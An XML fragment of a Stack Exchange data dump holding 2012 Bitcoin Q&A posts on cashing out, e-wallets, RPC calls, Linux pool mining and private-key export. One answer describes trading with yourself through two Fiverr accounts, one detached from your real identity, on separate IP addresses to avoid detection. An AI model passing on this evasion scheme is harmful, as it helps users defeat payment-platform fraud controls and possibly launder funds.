  <row Id="4183" PostTypeId="2" ParentId="4180" CreationDate="2012-07-15T02:14:38.837" Score="6" Body="&lt;p&gt;The factors that matter for any cash-out decision are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Where are you located (country)?&lt;/li&gt;&#xA;&lt;li&gt;How much are you looking to trade?&lt;/li&gt;&#xA;&lt;li&gt;What type of cash are you looking to receive?&lt;/li&gt;&#xA;&lt;li&gt;How soon do you need access to the proceeds?&lt;/li&gt;&#xA;&lt;li&gt;Is privacy important?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Specifically for cash-out to PayPal, options include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://snapswap.us/#/paypal&quot; rel=&quot;nofollow&quot;&gt;http://snapswap.us/#/paypal&lt;/a&gt; (You'ld need to do BTC -&gt; XRP first though. &lt;a href=&quot;http://Shapeshift.io&quot; rel=&quot;nofollow&quot;&gt;http://Shapeshift.io&lt;/a&gt; lets you do that.)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.VirWoX.com&quot; rel=&quot;nofollow&quot;&gt;http://www.VirWoX.com&lt;/a&gt;  (BTC --&gt; SLL, SLL --&gt; USD)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other ones that are not as widely known -- proceed &lt;strong&gt;at your own risk&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.btctopp.com&quot; rel=&quot;nofollow&quot;&gt;http://www.btctopp.com&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.exchangemycoins.com/pages/sell-bitcoin-paypal&quot; rel=&quot;nofollow&quot;&gt;http://www.exchangemycoins.com/pages/sell-bitcoin-paypal&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://order.payexchanger.com/index.php?a=add&quot; rel=&quot;nofollow&quot;&gt;http://order.payexchanger.com/index.php?a=add&lt;/a&gt; (You Give=&quot;Bitcoin&quot;, You Want=&quot;PayPal&quot;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://24pay.me&quot; rel=&quot;nofollow&quot;&gt;http://24pay.me&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What might exist is a service that lets you pay for charges with Bitcoin and then the recipient gets to withdraw the proceeds of the sale using PayPal. So you would simply need to sell to yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I see that Fiverr accepts BItcoin for payment: &lt;a href=&quot;http://blog.fiverr.com/fiverr-now-accepting-bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://blog.fiverr.com/fiverr-now-accepting-bitcoins&lt;/a&gt; and I believe they offer withdrawal via PayPal &lt;a href=&quot;http://www.youtube.com/watch?v=px_eYHCgGZ4&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=px_eYHCgGZ4&lt;/a&gt;. So you simply would create two accounts, list a task, and transact with yourself. Obviously the account for buying (and paying with Bitcoin) would need to be something that you wouldn't want associated with your real identity. Additionally, you probably want to do the listing with one IP address and the buying on another just in case they check for that kind of stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe when PayPal is a cash-out method for Amazon (coming, apparently &lt;a href=&quot;http://recode.net/2015/04/09/paypals-big-change-it-can-work-with-amazon-after-ebay-split/&quot; rel=&quot;nofollow&quot;&gt;http://recode.net/2015/04/09/paypals-big-change-it-can-work-with-amazon-after-ebay-split/&lt;/a&gt; ) then maybe you can sell to yourself (buy Amazon gift cards to pay, then cash out to PayPal from the proceeds of the sale to yourself.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitLanders is another service that lets you trade with yourself, &lt;a href=&quot;http://www.bitlanders.com/shop/gem&quot; rel=&quot;nofollow&quot;&gt;paying&lt;/a&gt; with Bitcoin and withdrawing in PayPal. Also, apparently if your sales aren't enough to cover your withdrawal amount you can make up the difference with Bitcoin.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="24869" LastEditDate="2015-08-30T17:49:39.570" LastActivityDate="2015-08-30T17:49:39.570" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4184" PostTypeId="2" ParentId="4178" CreationDate="2012-07-15T03:02:16.653" Score="8" Body="&lt;p&gt;Essentially it boils down to the tradeoffs between security and convenience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instawallet is incredibly convenient, but not all that secure (as no password is required, and if you lose the URL, you lose the ability to spend the funds.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paytunia was a great shared (hosted) EWallet for a beginner, and there is a mobile app (for Android). A new version of Paytunia is in the works for a &lt;a href=&quot;http://paymium.com/#services&quot; rel=&quot;nofollow noreferrer&quot;&gt;2014 release&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blockchain.info/wallet is a great hybrid (browser-based) wallet and also has a mobile app (for Android, and for Cydia / jailbroken iPhones). Configured properly, with backups sent to your e-mail inbox, this is probably the best combination of security and convenience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you only need a mobile wallet, the BitcoinSpinner works well also.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/EWallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.bitcoin.it/wiki/EWallet&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Mobile_Payment_Apps&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://en.bitcoin.it/wiki/Mobile_Payment_Apps&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="6756" LastEditDate="2013-11-04T18:25:44.277" LastActivityDate="2013-11-04T18:25:44.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4185" PostTypeId="2" ParentId="4180" CreationDate="2012-07-15T06:34:42.880" Score="1" Body="&lt;p&gt;There is an IRC channel #bitcoin-otc in which people trade bitcoins with each other.  There are often people there wanting to buy Bitcoins for PayPal.  &lt;a href=&quot;http://bitcoin-otc.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin-otc.com/&lt;/a&gt; will tell you about the channel, and how to register with the channel's bot to build trust with the users there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Be way accepting PayPal for bitcoin, since PayPal is reversible and Bitcoin isn't.  Check the rating of the person buying your bitcoins and be very careful before dealing with people who have low ratings.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="33" LastEditDate="2012-07-15T11:49:53.693" LastActivityDate="2012-07-15T11:49:53.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4186" PostTypeId="1" CreationDate="2012-07-15T12:57:36.050" Score="3" ViewCount="214" Body="&lt;p&gt;I'm wondering how future-proof the BTC network security is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suppose some technological advancement (e.g. quantum computing and/or some ingenious algorithm) were to allow easily cracking the private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would the BTC network respond to such an ability if it was anticipated at least a year or so in advance? What would the response be if one morning such an ability was discovered/announced?&lt;/p&gt;&#xA;" OwnerUserId="1571" LastActivityDate="2012-07-15T15:55:10.533" Title="How would the network respond to an ability to crack the private keys?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4187" PostTypeId="2" ParentId="4186" CreationDate="2012-07-15T15:55:10.533" Score="4" Body="&lt;p&gt;&lt;strong&gt;This would be a global issue, not just Bitcoin related&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone discovered how to extract the private key from an arbitrary ECDSA public key in an economically viable timeframe, then there would be serious ramifications for many other economies that depend upon that branch of mathematics. For example, international banking, secure data transmission and many other users of cryptography would need to manage the change so it would not just lie on the Bitcoin community to save it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, the response would depend on the nature of the attack. It may be that the attack could be easily mitigated by constantly changing private keys in which case a fairly minor update could be built into the various clients to support this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the problem was with the choice of cryptographic algorithm then work would have to take place to find an appropriate replacement that was not subject to the given attack vector, and then to apply that to protecting the integrity of the transactions taking place through the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From a community point of view, there is already a process in place to manage these kinds of responses (see &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Improvement_Proposals&quot; rel=&quot;nofollow&quot;&gt;BIP&lt;/a&gt;) which has had several successful uses when critical bugs or attacks have been uncovered. &lt;/p&gt;&#xA;" OwnerUserId="117" LastActivityDate="2012-07-15T15:55:10.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4188" PostTypeId="1" AcceptedAnswerId="4189" CreationDate="2012-07-15T22:08:55.673" Score="4" ViewCount="5760" Body="&lt;p&gt;The current rpc interface only allows you to see either&#xA;1. The balance of the entire wallet&#xA;2. How much was received by an address (which is okay... if you never spend)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, I want to know how to get the balance of a specific address in my wallet. I've searched high and low and cannot find anything.&lt;/p&gt;&#xA;" OwnerUserId="1588" LastActivityDate="2021-01-16T15:56:32.977" Title="How do you get the balance of an address in your wallet using the rpc interface?" Tags="|balance|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4189" PostTypeId="2" ParentId="4188" CreationDate="2012-07-15T23:59:53.580" Score="3" Body="&lt;p&gt;If you are only using Bitcoin through RPC commands, you might want to look into &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;accounts&lt;/a&gt;. Using those you can just call &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;getbalance&lt;/code&gt;&lt;/a&gt; and you will know how much Bitcoins are in each of the accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using only addresses, you can only see how many Bitcoins you received with it through &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;listreceivedbyaddress&lt;/code&gt;&lt;/a&gt;, which can be not reliable if you spend any money from them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, you ought to just use accounts, as they can encompass many addresses and provide a lot of functionality for separating your coins into many parts in the same wallet.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-07-15T23:59:53.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4190" PostTypeId="1" CreationDate="2012-07-16T12:39:33.067" Score="2" ViewCount="244" Body="&lt;p&gt;Is there a Linux application that can benchmark the bitmining perfomance of a headless server ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application could run from the shell (terminal).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Up to know I have found &lt;a href=&quot;http://bitminter.com/test&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; that requires Java.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2012-07-16T12:39:33.067" Title="Linux app (non-GUI) for benchmarking bitmining server's perfomance" Tags="|linux|server|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4191" PostTypeId="1" CreationDate="2012-07-16T14:05:17.300" Score="5" ViewCount="15225" Body="&lt;p&gt;I have read numerous how-to and tutorials (most of them outdated) on how to simply start mining on a pool and I wasn't be able to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Could someone simply describe/enumerate how can someone start pool-mining in a Linux OS (on any distribution) command-line (shell) ?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1592" LastEditorUserId="5406" LastEditDate="2016-03-14T16:55:16.097" LastActivityDate="2016-03-14T16:55:16.097" Title="How to start pool mining in Linux" Tags="|mining-pools|linux|miner-configuration|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4192" PostTypeId="2" ParentId="4191" CreationDate="2012-07-16T18:25:32.397" Score="6" Body="&lt;p&gt;BitMinter is an attempt at making just this sort of thing easier and a more pleasant experience.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install Java if you don't have it, e.g. on Ubuntu &lt;code&gt;sudo apt-get install openjdk-6-jre icedtea-netx&lt;/code&gt; (the icedtea-netx is for Java WebStart)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you will mine in GPUs, install the latest drivers (e.g. from amd.com)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you will mine on FPGA/ASIC, give yourself access to serial ports. On Ubuntu &lt;code&gt;sudo usermod -a -G dialout USERNAME&lt;/code&gt; then log out and back in.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Start the miner from bitminter.com website or commandline:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;javaws http://bitminter.com/client/bitminter.jnlp&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="141" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2012-07-16T18:25:32.397" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4193" PostTypeId="2" ParentId="4188" CreationDate="2012-07-17T08:54:06.953" Score="0" Body="&lt;p&gt;&lt;code&gt;getinfo&lt;/code&gt; also includes a &quot;balance&quot; field that encompasses all spendable Bitcoin. &lt;code&gt;Getbalance&lt;/code&gt; and &lt;code&gt;listreceivedbyaddress&lt;/code&gt; can do slightly more advanced things, including confirmation count, but you don't seem to need them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference this: &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="909" LastActivityDate="2012-07-17T08:54:06.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4194" PostTypeId="1" CreationDate="2012-07-18T05:52:46.110" Score="10" ViewCount="8363" Body="&lt;p&gt;We have a slew of questions about specific regions ... but I couldn't find a general, concise, good resource on how to buy Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Buying_bitcoins&quot;&gt;This article&lt;/a&gt; offers too many choices and isn't noob friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to link to the answer from the &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Newbie_Guide&quot;&gt;Newbie Guide&lt;/a&gt; I'm making.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An answer to this question &lt;strong&gt;should not be a specific way to buy&lt;/strong&gt; (it will get stale, Stack Exchange does not handle staleness issues very well), but rather &lt;strong&gt;an external resource that is maintained and up to date&lt;/strong&gt; (and will likely remain so in the future). I suggest a new Wiki entry that is noob friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;: &lt;a href=&quot;https://en.bitcoin.it/wiki/Buying_Bitcoins_%28the_noob_version%29&quot;&gt;I've opened up a new wiki entry for this&lt;/a&gt;, you can help edit it.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="516" LastEditDate="2012-10-01T20:48:27.097" LastActivityDate="2013-07-03T23:53:36.500" Title="What's a good resource explaining the best ways to buy Bitcoin (noob friendly)?" Tags="|exchanges|buy-bitcoins|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4195" PostTypeId="2" ParentId="4169" CreationDate="2012-07-18T06:40:48.593" Score="0" Body="&lt;p&gt;Every eWallet that pools the users money will do a fractional reserve since there are only two compelling reasons to do so: either to re-lend the money at an interest, or to run away with it at some point. &lt;/p&gt;&#xA;" OwnerUserId="1595" LastActivityDate="2012-07-18T06:40:48.593" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4196" PostTypeId="2" ParentId="4194" CreationDate="2012-07-18T06:50:43.947" Score="6" Body="&lt;p&gt;A guide almost needs to be one that provides results dynamically based on responses to questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The factors that matter are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Where are you (country)?&lt;/li&gt;&#xA;&lt;li&gt;How much are you looking to buy?&lt;/li&gt;&#xA;&lt;li&gt;What payment methods can you use?&lt;/li&gt;&#xA;&lt;li&gt;How soon do you need the bitcoins?&lt;/li&gt;&#xA;&lt;li&gt;Is privacy / near-anonymity important?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Only once those are known can recommendations be made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A fairly comprehensive list of methods exist on the Bitcoin wiki:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2013-07-03T23:53:36.500" LastActivityDate="2013-07-03T23:53:36.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4197" PostTypeId="1" AcceptedAnswerId="4577" CreationDate="2012-07-18T06:55:24.800" Score="4" ViewCount="225" Body="&lt;p&gt;For a business account at a Bitcoin exchange, either of two people need to be able to send bitcoins or withdraw.  This account will be configured with two-factor authentication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can two of the business' staff, located in different offices, each have access to the account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The exchange specifically will be with BitFloor using Google Authenticator OTP, but the same question would apply for using Mt. Gox, with Yubikey, for instance.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-07-19T15:03:32.427" LastActivityDate="2019-12-24T08:53:34.333" Title="How can multifactor authentication be used when there needs to be two people with access?" Tags="|security|exchanges|authentication|two-factor|multi-factor|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4198" PostTypeId="1" CreationDate="2012-07-18T09:59:43.793" Score="1" ViewCount="1272" Body="&lt;p&gt;As soon as the client begins synchronizing it crashes. It's stuck at 139,500 blocks left. I am brand new to bitcoin and sent $300 to an address on this client. &lt;/p&gt;&#xA;" OwnerUserId="1596" LastActivityDate="2012-07-18T22:51:30.560" Title="How can I retrieve my bitcoins when the client crashes as soon as it begins synchronizing" Tags="|wallet|bitcoin-core|address|linux|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4199" PostTypeId="1" CreationDate="2012-07-18T19:39:49.487" Score="4" ViewCount="850" Body="&lt;p&gt;I was a little bit shocked to learn that many (if not all) hosted e-Wallet providers &lt;a href=&quot;https://bitcoin.stackexchange.com/a/4170/1595&quot;&gt;combine their customers money in the hosts account&lt;/a&gt;, instead of just providing a service for easy access and storing of the users wallet data. This carries over many of the well known and less well known problems with the traditional banking structures onto bitcoins, and defies the aim to avoid central services. So, what are the actual advantages of this, for both the user and the e-Wallet service?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the e-Wallet it would allow &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1201/1595&quot;&gt;fractional reserve banking&lt;/a&gt; in order to charge interest for loans. That makes the system susceptible to crashes like we are experiencing outside and supports an interest based economy, which has its own troubles. (See also &lt;a href=&quot;https://bitcoin.stackexchange.com/q/2818/1595&quot;&gt;this question&lt;/a&gt;.) And it makes it easier for the bank to run away with the users money, since the users give the actual ownership of their money away. Are there other points? What is the advantage for the users?&lt;/p&gt;&#xA;" OwnerUserId="1595" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2012-07-19T11:21:06.890" Title="What are the advantages of sharing money in hosted e-wallet services?" Tags="|e-wallet|banks|fractional-reserve|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4200" PostTypeId="2" ParentId="4199" CreationDate="2012-07-18T21:18:54.357" Score="0" Body="&lt;p&gt;One attribute of a shared wallet is that it lessens traceability.  In order to track bitcoin spending, records from the EWallet provider would be required.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some exchanges and EWallet providers have stated that they would only provide this information to authorities if required to do so after being subpoenaed.  Others don't even retain logs (or at least, not for very long) that would provide the ability to track deposits versus withdrawals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there are some online EWallets that are not shared.  &lt;a href=&quot;http://Blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;Blockchain.info/wallet&lt;/a&gt;, for instance, treats each account with the service as its own wallet.  This is because they don't have the private keys necessary to spend the funds, but there's no reason other EWallet couldn't segregate addresses per-account just the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it is likely for convenience and for privacy enhancing reasons that all hosted EWallets employ shared wallets.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-07-18T21:18:54.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4201" PostTypeId="1" CreationDate="2012-07-18T22:25:30.413" Score="3" ViewCount="132" Body="&lt;p&gt;I see the wiki page &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;Script&lt;/a&gt;, and the page on &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow&quot;&gt;Contracts&lt;/a&gt; makes some remarks on things like signature numbers and SIGHASH flags, but it seems incomplete and not very friendly to someone not familiar with the protocol. &lt;strong&gt;Is there an official specification of the transaction protocol&lt;/strong&gt; other than the wiki pages? Or do I have to read the source code?&lt;/p&gt;&#xA;" OwnerUserId="1544" LastActivityDate="2012-07-19T00:07:28.550" Title="Is there any complete specification of the transactions?" Tags="|transactions|" AnswerCount="1" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4202" PostTypeId="2" ParentId="4199" CreationDate="2012-07-18T22:26:17.517" Score="1" Body="&lt;p&gt;The wallet services are probably just running a single bitcoind server.  bitcoind currently only supports a single wallet, and so by far the easiest way to arrange things is to keep all the user funds together in a single large wallet (regularly taking the majority off to an offline wallet for security purposes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anything else would require custom code to keep the funds separate.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-07-18T22:26:17.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4203" PostTypeId="1" AcceptedAnswerId="4205" CreationDate="2012-07-18T22:49:26.833" Score="44" ViewCount="84767" Body="&lt;p&gt;If I want to transfer an address from the satoshi client into a different client, how can I find its private key to do so?&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2018-03-18T02:45:26.230" Title="How can I export the private key for an address from the satoshi client?" Tags="|client|bitcoin-core|private-key|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4204" PostTypeId="2" ParentId="4198" CreationDate="2012-07-18T22:51:30.560" Score="1" Body="&lt;p&gt;The quickest way is probably to import the private key of the address to which you sent the bitcoins into &lt;a href=&quot;http://blockchain.info/wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockchain.info's web wallet service&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4203/how-can-i-export-the-private-key-for-an-address-from-the-satoshi-client&quot;&gt;obtain the private key for the address which holds your bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;visit &lt;a href=&quot;https://blockchain.info/wallet/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/wallet/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;click 'start a new wallet' in the top left&lt;/li&gt;&#xA;&lt;li&gt;type a password twice, solve the captcha, and click 'continue'&lt;/li&gt;&#xA;&lt;li&gt;copy/paste the long url (&lt;a href=&quot;https://blockchain.info/wallet/random-stuff-..&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchain.info/wallet/random-stuff-..&lt;/a&gt;.) and keep it safe&lt;/li&gt;&#xA;&lt;li&gt;visit the url you just copied, and log in using the password you just chose&lt;/li&gt;&#xA;&lt;li&gt;click the import/export tab, then click 'continue'&lt;/li&gt;&#xA;&lt;li&gt;paste your private key into the 'import private key' box and click 'add private key'&lt;/li&gt;&#xA;&lt;li&gt;now you should see your balance, and can spend it from the blockchain.info web wallet&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if you want to keep using the satoshi client, you might find it useful to download a &lt;a href=&quot;http://eu1.bitcoincharts.com/blockchain/&quot; rel=&quot;nofollow noreferrer&quot;&gt;recent snapshot of the blockchain&lt;/a&gt; and let it update from there.&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2012-07-18T22:51:30.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4205" PostTypeId="2" ParentId="4203" CreationDate="2012-07-18T23:05:38.107" Score="16" Body="&lt;p&gt;&lt;em&gt;Note: Recent versions of the satoshi client offer a 'debug window' which can be used to export private keys.  This is described in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/5933/659&quot;&gt;Miguel Moreno's answer to this question&lt;/a&gt;, and is easier than the steps I describe below.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To export a private key from your satoshi client:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;run:  &lt;code&gt;bitcoin-qt -server&lt;/code&gt; and wait for it to load the blockchain and start up&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if your wallet is encrypted, run: &lt;code&gt;read -s x; bitcoin-cli walletpassphrase &quot;$x&quot; 600; unset x&lt;/code&gt; to unlock it for 600 seconds (type your passphrase after hitting return, then hit return again; this 'read; ...; unset' prevents the password being written to your shell's history file on disk, and the '-s' in read prevents your password being displayed as you type it, and improves protection from screen-loggers and the shell log)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;run this command using bitcoin-cli:  &lt;code&gt;bitcoin-cli dumpprivkey 1my1bitcoin1addres11111&lt;/code&gt;   (replace 1my... with the bitcoin address of which you want the private key)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if your wallet is encrypted and you want to re-lock your wallet, run &lt;code&gt;bitcoin-cli walletlock&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="659" LastEditorUserId="75001" LastEditDate="2018-03-18T02:45:26.230" LastActivityDate="2018-03-18T02:45:26.230" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="4206" PostTypeId="2" ParentId="4201" CreationDate="2012-07-19T00:07:28.550" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Or do I have to read the source code?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is the only &quot;official specification&quot;. The wiki pages have a lot of good info, but they sometimes contain inaccuracies or important omissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's some info about the SIGHASH flags here:&lt;br&gt;&#xA;&lt;a href=&quot;https://en.bitcoin.it/wiki/OP_CHECKSIG&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/OP_CHECKSIG&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="403" LastActivityDate="2012-07-19T00:07:28.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4208" PostTypeId="2" ParentId="4199" CreationDate="2012-07-19T06:51:42.173" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;As Chris mentioned, this is the default behavior of bitcoind which the eWallet uses - disassociating addresses from accounts.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Users expect the funds to be immediately available. If everyone has their own address, it means all the deposited funds must be in a hot wallet, which is dangerous since it can be hacked and stolen. A prudent eWallet will keep most of the deposits in a cold wallet, and only move funds out of it as necessary to allow smooth transactions. For this it will need to move bitcoins to an address other than the original deposit address.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Some eWallets provide green address functionality - a sending address known to belong to the eWallet and assumed trusted. For this the eWallet will need to move funds to its green address in advance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So the question really is why &lt;em&gt;not&lt;/em&gt; to combine the funds. If it's to prove that it's not fractional reserve, that can be done in other 